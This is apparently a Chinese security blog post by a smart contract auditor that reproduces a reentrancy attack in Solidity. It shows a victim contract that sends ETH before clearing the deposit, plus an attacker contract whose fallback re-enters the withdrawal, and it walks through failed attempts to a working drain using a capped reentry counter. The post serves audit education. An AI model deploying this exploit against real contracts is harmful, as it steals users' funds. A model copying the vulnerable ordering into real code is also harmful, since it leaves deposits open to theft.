再谈重入攻击

 

简介

前几天无意间看到一篇名为Most common smart contract bugs of 2020的报告,进去认真看了一下,发现提到的一个重入攻击挺有意思的。就来复现一下。整个过程中也碰到了一些有意思的点。很遗憾的是,在即将写完这篇文章的时候,我在实际的审计过程中也遇到了相似的代码实现。

 

代码分析

先来看一段代码

function update() {
   uint value = deposits[msg.sender];
   safeTransferETH(msg.sender, value)
   deposits[msg.sender] = 0;
}

分析发现这一段代码的功能是:

  • 获取用户的存款数额
  • 使用safeTransferETH函数发送用户的存款
  • 把用户的存款数额置为零

一般的审计会认为这段代码是安全的,因为其使用的是safeTransferETH一般意义上是安全的函数。

但是让我们跟入safeTransferETH函数去看一下

function safeTransferETH(address to, uint256 value) internal { 
   (bool success, ) = to.call{value: value}(new bytes(0)); 
   require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); 
}

熟悉重入攻击的人一下子就能发现,这段代码十分的不安全。不了解的可以看这一篇文章

 

尝试攻击

按照之前的攻击思路,完善一下受害合约,顺便写一下攻击合约

pragma solidity ^0.8.0;
//受害合约
contract reterry{
    mapping(address => uint) deposits;

    function deposit() public payable{
        deposits[msg.sender] += msg.value;
    }
    function update() public{

       uint value = deposits[msg.sender];
       safeTransferETH(msg.sender, value);
       deposits[msg.sender] = 0;

    }
    function getdeposit(address acoumt) public view returns(uint256){
        return deposits[acoumt];
    }

    function safeTransferETH(address to, uint256 value) internal { 
       (bool success, ) = to.call{value: value}(new bytes(0)); 
       require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); 
    }
    function getbalance()public view returns(uint256){
        return address(this).balance;
    }
}
//攻击合约
contract attack{
    reterry a= reterry(address(Victimized contract);
    uint256 i=0;
    fallback() external payable {
        a.update();
    }
    function deposit() public {
        a.deposit{value: 1 ether}();
    }
    function attack1() public {
        a.update();
    }
    constructor() payable{}
}

第一次尝试

进行一些初始化之后

然后我们调用attack1函数进行攻击

很遗憾的交易失败,我进行了debug调试

发现成功的调用了攻击合约的fallback函数,此时我认为,是因为攻击合约的存款和受害合约的balance不成正比,导致最后一次的call调用返回了失败导致整体的回退。

第二次尝试

这次我将攻击合约的存款与受害合约的balance调整为10:1,再次攻击,依旧失败了

第三次尝试

这一次我想到了solidity 0.8.9的更新版本允许我们定义下面类型的fallback函数

fallback(bytes calldata) external payable returns(bytes memory) {
        a.update();
       return '0x10000000';
    }![](https://p0.ssl.qhimg.com/t01cc59661580147177.png)

当call调用之后,我们自行定义返回值,使得返回值的第一个字节为1也就等价于true。不知道我们自定义的返回值是否会对bool success产生影响,如果可以的就可以使得我们的重入不会在最后一次失败。

再次失败,进过调试发现我们自定义的返回值对bool success并未产生影响。再次翻阅call调用的返回值的定义,发现 call函数的返回值为true或者false。 只有当能够找到此方法并执行成功后,会返回true,而如果不能够找到此函数或执行失则会返回false。因此我刚刚的方法不能奏效。

第四次尝试

经过进一步调试发现,未限制重入次数的情况下,总会在最后一次call失败,如果我们能控制重入的次数应该就可以实现,保证每一次都是成功的,就可以实现交易不会失败。

稍微改善代码

uint i;
    fallback() external payable {
        i+=1;
        if(i<10){
            a.update();
        }
    }

启动attack

攻击成功!

 

总结

​ 本次漏洞发生的原因在于错误的利用被认为是安全的函数代码库,而在实际的审计过程中大家往往会忽略这种函数的审查,误以为其是安全的。其实一进入该函数的实现,就能轻而易举的发现问题,也算是人性的弱点吧。本来想展示实际业务中的审计到的代码,但是由于业务保密性要求,很遗憾不能展示。

(完)